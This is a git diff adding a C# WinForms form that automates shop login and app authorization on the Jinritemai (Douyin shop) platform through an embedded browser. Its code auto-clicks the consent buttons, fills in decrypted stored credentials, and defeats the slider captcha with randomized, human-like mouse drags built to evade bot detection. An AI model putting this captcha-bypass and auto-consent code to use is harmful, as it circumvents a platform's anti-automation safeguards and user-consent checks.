+ private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private UserControls.ButtonEx btnCopyPassword; + private UserControls.ButtonEx btnCopyUserName; + private UserControls.ButtonEx btnAuthInWeb; + private UserControls.ButtonEx buttonEx1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.cs b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.cs new file mode 100644 index 0000000..1cba412 --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.cs @@ -0,0 +1,560 @@ +using AllBase; +using AllBase.Helper; +using AllBase.Model.Result; +using CefSharp; +using CefSharp.WinForms; +using LittleRabbit.LittleRabbitForms.BaseForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BLL.Tools; + +namespace LittleRabbit.LittleRabbitForms.ShopForms +{ + public partial class ShopAuthForm : LRBaseForm + { + public int CloseAfterSecond { get; set; } + public string shopAuthUrl = "https://fuwu.jinritemai.com/authorize?service_id=815"; + private ChromiumWebBrowser cefWebBrowser = null; + private DouShopLoginInfo shop = null; + private bool isCefLoad = false; + private string currentUrl = ""; + + public ShopAuthForm(DouShopLoginInfo shopInfo) + { + InitializeComponent(); + + this.shop = shopInfo; + this.txtUserName.Text = shopInfo.LoginName; + this.txtPassWord.Text = DataOpenSSL.DecryptString(shopInfo.Password); + + Task.Run(() => + { + var url = BaseClass.BuildObjString("shop&act=add_shop_agent_name"); + var data = UserLogin.GetSignaturex() + + "&shop_id=" + shop.ShopAccountId + + "&agent_name=" + BaseClass.AgentName; + + var result = GetHtml.PostUtf8(url, data); + }); + } + + private void ShopLoginForm_Load(object sender, EventArgs e) + { + if (CloseAfterSecond > 0) + { + Task.Run(() => + { + Thread.Sleep(1000 * CloseAfterSecond); + if (this.Created) + { + Invoke(new Action(() => { this.Close(); })); + } + }); + } + + Task.Run(() => + { + bool isAuth = false; + while (this.Created) + { + Thread.Sleep(1000); + if (this.shop != null && !isAuth && currentUrl.StartsWith("https://fuwu.jinritemai.com/authorize?service_id=")) + { + // 勾选授权选项 + Thread.Sleep(Randomx.GetId(1000, 1200)); + var jsStr = "document.getElementsByClassName('auxo-checkbox-input')[0].click();"; + var response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + + Thread.Sleep(Randomx.GetId(500, 800)); + jsStr = "function clickElement(txt) {\r\n" + + "var child = document.body.firstElementChild;\r\n" + + "var element1 = null;\r\n" + + " while (child) {\r\n" + + " if (child.innerHTML.indexOf(txt) >= 0) {\r\n" + + " element1 = child;\r\n" + + " if (child.firstElementChild) {\r\n" + + " child = child.firstElementChild; continue;\r\n" + + " } else break;\r\n" + + " }\r\n" + + " child = child.nextElementSibling;\r\n" + + " }\r\n" + + " if (element1) {\r\n" + + " element1.click(); return 'success';\r\n" + + " } else return 'no_pop';\r\n" + + "}\r\n" + + "clickElement('确认授权');\r\n"; + response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + if (response.Result?.Result != null) + { + isAuth = true; + } + } + // 授权成功自动关闭 + if (this.shop != null && currentUrl.StartsWith("http://new.qixiaoke.com/doudian.php?code=")) + { + if (!cefWebBrowser.GetBrowser().MainFrame.IsValid) + return; + + var jsStr = "function getShopName() { return document.body.innerHTML; } getShopName();"; + var response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + var res = response.Result.Result?.ToString(); + if (res != null && res.StartsWith("授权成功") && res.EndsWith(shop.ShopAccount)) + { + //shop.ApiAuthStatus = "授权成功"; + ShopListForm.UpdateShopTokens(GlobalConfig.DouShopLoginList.Where(s => s.ShopAccount == shop.ShopAccount).ToList()); + StartUp.SaveDouShopLoginInfo(); + OnSaveComplete(shop); + if (this.Created && this.chkCloseAfterLogin.Checked) + { + Thread.Sleep(2000); + Invoke(new Action(() => { this.Close(); })); + } + } + } + // 授权成功自动关闭 + if (this.shop != null && this.currentUrl.StartsWith("http://ddxnt.nai8.net/#/login?code=")) + { + Thread.Sleep(3000); + while (cefWebBrowser.IsLoading) + Thread.Sleep(100); + Thread.Sleep(2000); + + if (this.Created && this.chkCloseAfterLogin.Checked) + { + ShopListForm.UpdateShopTokens(GlobalConfig.DouShopLoginList.Where(s => s.ShopAccount == shop.ShopAccount).ToList()); + StartUp.SaveDouShopLoginInfo(); + OnSaveComplete(shop); + Thread.Sleep(2000); + Invoke(new Action(() => { this.Close(); })); + } + } + } + }); + + if (cefWebBrowser == null) + { + //https://fuwu.jinritemai.com/detail?service_id=20974 + if (!shopAuthUrl.Contains("service_id=20896")) + { + var url = BaseClass.BuildObjString("config&act=get_buy_service"); + var data = UserLogin.GetSignaturex() + + "&app_key=" + shop.AppKey; + + var result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("获取授权地址失败!请关闭窗口重试。"); + return; + } + shopAuthUrl = BaseRegex.GetStringJson(ref result, "data"); + } + + isCefLoad = false; + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(shopAuthUrl, false); + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.LoadError += CefWebBrowser_LoadError; + cefWebBrowser.Dock = DockStyle.Fill; + + var t = CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + + splitContainer1.Panel1.Controls.Add(cefWebBrowser); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("jinritemai.com", shop.Cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + } + } + + private void CefWebBrowser_LoadError(object sender, CefSharp.LoadErrorEventArgs e) + { + } + + private void CefWebBrowser_AddressChanged(object sender, CefSharp.AddressChangedEventArgs e) + { + Invoke(new Action(() => + { + currentUrl = e.Address; + txtAddress.Text = e.Address; + })); + } + + private void CefWebBrowser_FrameLoadEnd(object sender, CefSharp.FrameLoadEndEventArgs e) + { + //if (!cefWebBrowser.IsBrowserInitialized) return; + + //currentUrl = e.Url; + //if (currentUrl.StartsWith("https://fxg.jinritemai.com/ffa/multiShop")) + //{ + // Thread.Sleep(Randomx.GetId(500, 800)); + //} + //if (currentUrl.StartsWith("https://fxg.jinritemai.com/ffa/mshop/homepage/index")) + //{ + // Task.Run(() => + // { + // + // }); + //} + } + + private void RequestHandler_ResourceLoadComplete(object sender, string url, string postData, string responseData) + { + if (url.StartsWith("https://fuwu.jinritemai.com/api/order/list")) + { + var data = responseData; + Task.Run(() => + { + + }); + } + if (url.StartsWith("https://fxg.jinritemai.com/common/index/index")) + { + Task.Run(() => + { + var data = responseData; + if (this.shop != null && data.Contains("\"code\":0")) + { + shop.ShopAccountId = BaseRegex.GetStringJson(ref data, "id"); + shop.ShopToken = BaseRegex.GetStringJson(ref data, "token"); + shop.ShopAccount = BaseRegex.GetStringJson(ref data, "shop_name"); + shop.Mobile = BaseRegex.GetStringJson(ref data, "mobile"); + } + }); + } + if (url.Contains("_signature")) + { + Task.Run(() => + { + var _url = url; + var data = responseData; + var signature = url.Substring(url.IndexOf("_signature=") + "_signature=".Length).Split('&')[0]; + if (shop != null) + { + shop.Signature = signature; + } + }); + } + } + + /// + /// 自动登录 + /// + /// + /// + /// + private void InputUserNameAndPassword(ChromiumWebBrowser webBrowser, string _account, string _password) + { + string jsStr = "var btn = document.getElementsByClassName('account-center-switch-button switch-switch email false')[0]; if (btn) btn.click();"; + var response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(1000); + Thread.Sleep(Randomx.GetId(500, 1000)); + + string jsSetValue = @" +function keyboardInput(dom, st) { + var evt = new InputEvent('input', { + //var evt = new Event('input', { // cef57 + inputType: 'insertText', + data: st, + dataTransfer: null, + isComposing: false + }); + dom.value = st; + dom.dispatchEvent(evt); + dom.focus(); +};"; + + string jsInputKey = @" +function fireKeyEvent(el, evtType, keyCode) { + var evtObj; + if (document.createEvent) + { + if (window.KeyEvent) + { + //firefox 浏览器下模拟事件 + evtObj = document.createEvent('KeyEvents'); + evtObj.initKeyEvent(evtType, true, true, window, true, false, false, false, keyCode, 0); + } + else + { + //chrome 浏览器下模拟事件 + evtObj = document.createEvent('UIEvents'); + evtObj.initUIEvent(evtType, true, true, window, 1); + + delete evtObj.keyCode; + if (typeof evtObj.keyCode === 'undefined') + { + //为了模拟keycode + Object.defineProperty(evtObj, 'keyCode', { value: keyCode }); + } + else + { + evtObj.key = String.fromCharCode(keyCode); + } + + if (typeof evtObj.ctrlKey === 'undefined') + { + //为了模拟ctrl键 + Object.defineProperty(evtObj, 'ctrlKey', { value: true }); + } + else + { + evtObj.ctrlKey = true; + } + } + el.dispatchEvent(evtObj); + } + else if (document.createEventObject) + { + //IE 浏览器下模拟事件 + evtObj = document.createEventObject(); + evtObj.keyCode = keyCode + el.fireEvent('on' + evtType, evtObj); + } +}"; + // 输入用户名 + jsStr = @"var txt1 = document.getElementsByName('email')[0]; txt1.focus(); txt1.click(); keyboardInput(txt1, '" + _account + "');" + + "var uname = '" + _account + "';" + + "for(var i = 0; i < uname.length; i++) {" + + " cCode = uname.charCodeAt(i);" + + " fireKeyEvent(txt1, 'keydown', cCode);" + + " fireKeyEvent(txt1, 'keypress', cCode);" + + " fireKeyEvent(txt1, 'keyup', cCode);" + + "}"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsSetValue + jsInputKey + jsStr); + response.Wait(2000); + Thread.Sleep(Randomx.GetId(400, 800)); + + // 输入密码 + jsStr = @"var txt2 = document.getElementsByName('password')[0]; txt2.focus(); txt2.click(); keyboardInput(txt2, '" + _password + "');" + + "var pwd = '" + _password + "';" + + "for(var i = 0; i < pwd.length; i++) {" + + " cCode = pwd.charCodeAt(i);" + + " fireKeyEvent(txt2, 'keydown', cCode);" + + " fireKeyEvent(txt2, 'keypress', cCode);" + + " fireKeyEvent(txt2, 'keyup', cCode);" + + "}"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsInputKey + jsStr); + response.Wait(2000); + Thread.Sleep(Randomx.GetId(400, 800)); + + // 点击登录按钮 + jsStr = "var btn = document.getElementsByClassName('account-center-action-button')[0]; btn.click(); //btn.dispatchEvent(new Event('change'));"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + Thread.Sleep(1500 + Randomx.GetId(1000)); + + #region 获取验证码 + int getImageCount = 0; + getImageAgain: + jsStr = "function getImg() { return document.getElementsByClassName('captcha_verify_img--wrapper')[0].innerHTML; }"; + jsStr += "getImg();"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result == null) + { + if (getImageCount < 50) + { + Thread.Sleep(2500); + getImageCount++; + goto getImageAgain; + } + } + if (response.Result?.Result != null) + { + var imgStr = response.Result.Result.ToString(); + var src = BaseRegex.GetMatchRegexString(ref imgStr, "src=\"([\\s\\S]*?)\""); + Bitmap bt = (Bitmap)GetHtml.LoadImage(src); + if (bt != null) + { + int Stopxt = 0; + int dragButtonWidth = 42; + //Stopxt = new Base64ChangeImgUrl().CalculateNick(bt, dragButtonWidth); + Thread.Sleep(500 + Randomx.GetId(1000)); + Stopxt = new Base64ChangeImgUrl().CalculateNickNew(bt, dragButtonWidth); + if (Stopxt > 0) + { + jsStr = "function getImgPos() { return document.getElementsByClassName('secsdk-captcha-drag-icon')[0].getBoundingClientRect().left + '|' " + + " + document.getElementsByClassName('secsdk-captcha-drag-icon')[0].getBoundingClientRect().top;} getImgPos();"; + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result != null) + { + var xy = response.Result?.Result.ToString(); + var xyArr = xy.Split('|'); + if (xyArr.Length == 2) + { + try + { + int x = (int)Convert.ToDecimal(xyArr[0]) + 25; + int y = (int)Convert.ToDecimal(xyArr[1]) + 25; + + // 自动滑块图形验证 + if (GlobalConfig.DouShopSettingParam.IsAutoDragLogin) + { + ShopLoginForm.CefMouseDragDou(cefWebBrowser, x, y, Convert.ToInt32((x + Stopxt * 1.2319m) - 4), y); + for (int i = 0; i < 1; i++) + Thread.Sleep(2000 + Randomx.GetId(1000)); + response = webBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (response.Result?.Result != null && getImageCount < 50) + { + getImageCount++; + goto getImageAgain; + } + } + } + catch + { + } + } + } + for (int i = 0; i < 1; i++) + Thread.Sleep(2000 + Randomx.GetId(1000)); + } + } + } + Thread.Sleep(1500 + Randomx.GetId(1000)); + #endregion + } + + // 鼠标左键按下,移动,移动...左键抬起。 + public static void CefMouseDragDou(ChromiumWebBrowser webBrowser, int x1, int y1, int x2, int y2) + { + Thread.Sleep(100); + var host = webBrowser.GetBrowser().GetHost(); + + var rx = -6 + Randomx.GetId(13); + x2 = x2 + rx; + // 随机按下点的位置(正负6像素),提高仿真性 + int x = x1 + rx; + int y = y1 - 6 + Randomx.GetId(13); + + // 按下鼠标左键 + host.SendMouseClickEvent(x, y, MouseButtonType.Left, false, 1, CefEventFlags.None); + Thread.Sleep(100 + Randomx.GetId(300)); + + // 滑动光标 + int times = -20; + while (x < x2 + 4 - Randomx.GetId(9)) + { + times++; + x += (15 + Randomx.GetId(15)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + if (x < x2 - 1) + while (x < x2) + { + times++; + x += (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + else if (x > x2 + 1) + while (x > x2) + { + times++; + x -= (8 + Randomx.GetId(8)) / 8; + if (times % 5 == 0) + y = y - 1 + Randomx.GetId(3); + Thread.Sleep(6 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + } + + // 如果最后位置偏差较多,再做一次调整 + x = x2 - 1 + Randomx.GetId(3); + x = x2; + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + Thread.Sleep(18 + Math.Abs(times) / 5 + Randomx.GetId(16)); + host.SendMouseMoveEvent((int)x, (int)y, false, CefEventFlags.LeftMouseButton); + + // 抬起鼠标左键 + Thread.Sleep(300 + Randomx.GetId(500)); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + host.SendMouseClickEvent(x, y, MouseButtonType.Left, true, 1, CefEventFlags.None); + } + + private void btnStop_Click(object sender, EventArgs e) + { + + } + + private void btnCopyUserName_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtUserName.Text)) + Clipboard.SetDataObject(txtUserName.Text); + } + + private void btnCopyPassword_Click(object sender, EventArgs e) + { + if (!string.IsNullOrEmpty(txtPassWord.Text)) + Clipboard.SetDataObject(txtPassWord.Text); + } + + private void btnReload_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + { + cefWebBrowser.Load(txtAddress.Text); + } + } + + private void ShopAuthForm_FormClosed(object sender, FormClosedEventArgs e) + { + //OnSaveComplete(shop); + } + + private void btnAuthInWeb_Click(object sender, EventArgs e) + { + GetHtml.OpenUrl(this.shopAuthUrl); + } + + private void btnBuyAuth_Click(object sender, EventArgs e) + { + if (cefWebBrowser != null) + { + var buyUrl = shopAuthUrl; + if (!shopAuthUrl.Contains("service_id=20896")) + { + var url = BaseClass.BuildObjString("config&act=get_buy_service"); + var data = UserLogin.GetSignaturex(); + + var result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + result = GetHtml.PostUtf8(url, data); + if (!result.Contains("\"code\":200")) + { + BaseMsgForm.ShowError("获取授权地址失败!请关闭窗口重试。"); + return; + } + buyUrl = BaseRegex.GetStringJson(ref result, "data"); + } + + cefWebBrowser.Load(buyUrl.Replace("authorize", "detail")); + } + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.resx b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.resx new file mode 100644 index 0000000..c963c3c --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/ShopAuthForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQYAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + 